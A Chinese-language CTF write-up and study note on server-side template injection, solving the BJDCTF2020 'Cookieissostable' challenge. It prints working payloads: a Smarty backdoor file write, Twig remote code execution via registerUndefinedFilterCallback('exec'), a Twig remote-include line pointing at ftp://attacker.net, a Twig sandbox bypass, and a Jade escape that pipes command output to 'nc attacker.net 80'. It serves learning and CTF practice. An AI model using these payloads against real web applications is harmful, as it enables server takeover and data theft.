[BJDCTF2020]Cookieissostable（ssti模板注入从0到1学习笔记）

smarty&＃61;Hello ${7*&＃39;7&＃39;}
Hello 49freemarker&＃61;Hello ${7*&＃39;7&＃39;}
Hello 49

来确认漏洞是否阳性

代码类

在一些环境下&＃xff0c;用户的输入也会被当作模板的可执行代码。比如说变量名&＃xff1a;

personal_greeting&＃61;username
Hello user01

这种情况下&＃xff0c;XSS 的方法就无效了。但是我们可以通过破坏 template 语句&＃xff0c;并附加注入的HTML标签以确认漏洞&＃xff1a;

personal_greeting&＃61;username
Hello
personal_greeting&＃61;username}}
Hello user01

通过这种方式可以判断属于哪种模板引擎&＃xff0c;绿色代表成功返回&＃xff0c;红色失败&＃xff1b;原理是同一个可执行的 payload 会在不同引擎中返回不同的结果&＃xff0c;比方说{{7*&＃39;7&＃39;}}会在 Twig 中返回49&＃xff0c;而在 Jinja2 中则是7777777

举点栗子吧

Smart

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数&＃xff0c;因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量&＃xff08;比如当前变量的位置 $SCRIPT_NAME)。后面&＃xff0c;我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件&＃xff1a;

{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
define("SMARTY_DIR",&＃39;/usr/share/php/Smarty/&＃39;);
require_once(SMARTY_DIR.&＃39;Smarty.class.php&＃39;);

不仅如此&＃xff0c;我们能任意调用静态方法&＃xff0c;这当中包括一个可以创建和重写文件的方法public function writeFile($filepath, $contents, Smarty $smarty)。通过该方法&＃xff0c;我们能轻松在web目录下创建后门。值得注意的是&＃xff0c;第三个参数必须为 Smarty 对象&＃xff0c;所以我们要想办法得到 Smarty 对象的引用。

非常幸运&＃xff0c;self::clearConfig帮助我们获取对象&＃xff1a;

public function clearConfig($varname &＃61; null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后&＃xff0c;我们就可以创建后门了&＃xff01;

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}

Twig

Twig 和 Smarty 类似&＃xff0c;不过我们不能用它调用静态方法。幸运的是&＃xff0c;它提供了 _self&＃xff0c;我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法&＃xff0c;它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来&＃xff0c;我们就可以通过改变路径实现 RFI了&＃xff1a;

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是&＃xff0c;PHP 默认禁止远程文件包含&＃xff08;关闭 allow_url_include&＃xff09;&＃xff0c;因此上述 payload 不能生效。进一步探索&＃xff0c;我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中&＃xff0c;我们可以调用任意 PHP 函数&＃xff1a;

public function getFilter($name){...foreach ($this->filterCallbacks as $callback) {if (false !&＃61;&＃61; $filter &＃61; call_user_func($callback, $name)) {return $filter;}}return false;
}public function registerUndefinedFilterCallback($callable)
{$this->filterCallbacks[] &＃61; $callable;
}

我们只需注册 exec 为 filter 的回调函数&＃xff0c;并如此调用&＃xff1a;

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig&＃xff08;沙箱模式&＃xff09;

Twig 的沙箱模式有额外的限制。它会禁用一部分函数&＃xff08;包括开发者提供的对象&＃xff09;&＃xff0c;因此我们并不能调用有价值的东西。万幸的是&＃xff0c;这部分代码帮助我们突破限制&＃xff1a;

public function checkMethodAllowed($obj, $method)
{if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {return true;
}

这里&＃xff0c;我们可以调用实现 Twig_TemplateInterface 的对象&＃xff0c;也就是说我们可以简介使用 self.&＃xff0c;self.中的 displayBlock 让我们更上一层楼&＃xff1a;

public function displayBlock($name, array $context, array $blocks &＃61; array(), $useBlocks &＃61;
true)
{$name &＃61; (string) $name;if ($useBlocks && isset($blocks[$name])) {$template &＃61; $blocks[$name][0];$block &＃61; $blocks[$name][1];} elseif (isset($this->blocks[$name])) {$template &＃61; $this->blocks[$name][0];$block &＃61; $this->blocks[$name][1];} else {$template &＃61; null;$block &＃61; null;}if (null !&＃61;&＃61; $template) {try {$template->$block($context, $blocks);} catch (Twig_Error $e) {...

我们可以用$template ->$block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod&＃xff1a;{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得环境变量&＃xff0c;但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

Jade

Jade 是一款 Node.js 模板引擎。http://CodePen.io

http://CodePen.io

http://CodePen.io 则可以接受用户递交该模板。

首先&＃xff0c;让我们来确认模板可以执行代码&＃xff1a;

&＃61; 7*7//结果&＃xff1a;49

再来确认 self 对象的位置&＃xff1a;

&＃61; root//结果&＃xff1a;[object global]

我们来列一下对象属性和函数&＃xff1a;

- var x &＃61; root
- for(var prop in x)
, #{prop}, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数&＃xff1a;

- var x &＃61; root.process
- for(var prop in x)
, #{prop}, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制&＃xff1a;

- var x &＃61; root.process.mainModule
- for(var prop in x)
, #{prop}

因为安全原因&＃xff0c;CodePen阻止了你的语句
请删除下列关键字后进行尝试

->process
->mainModule
​
- var x &＃61; root.process
- x &＃61; x.mainModule
- for(var prop in x)
, #{prop}, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数&＃xff1a;

- var x &＃61; root.process
- x &＃61; x.mainModule.require- x(&＃39;a&＃39;)
Cannot find module &＃39;a&＃39;

最终 exp&＃xff1a;

- var x &＃61; root.process
- x &＃61; x.mainModule.require
- x &＃61; x(&＃39;child_process&＃39;)
&＃61; x.exec(&＃39;id | nc attacker.net 80&＃39;)

回到这个题

我们根据{{7*&＃39;7&＃39;}}得到了49可以知道是Twig

{{7*&＃39;7&＃39;}} 回显7777777 &＃61;&＃61;> Jinja2
{{7*&＃39;7&＃39;}} 回显49 &＃61;&＃61;> Twig

至于这里为什么是user&＃xff0c;是因为返回的包里面有提示

Set-COOKIE: user

所以这个模板注入是Twig注入,由于是Twig注入&＃xff0c;所以是有固定的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
​
​
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

这里注意要在PHPSESSID后user前加上;分隔开

总结&＃xff1a;

学习了一下ssti注入&＃xff0c;原来都有模板可以套&＃xff0c;希望有一天我是创造模板的人&＃xff01;

感谢BUU提供优质题目&＃xff0c;感谢勤奋的自己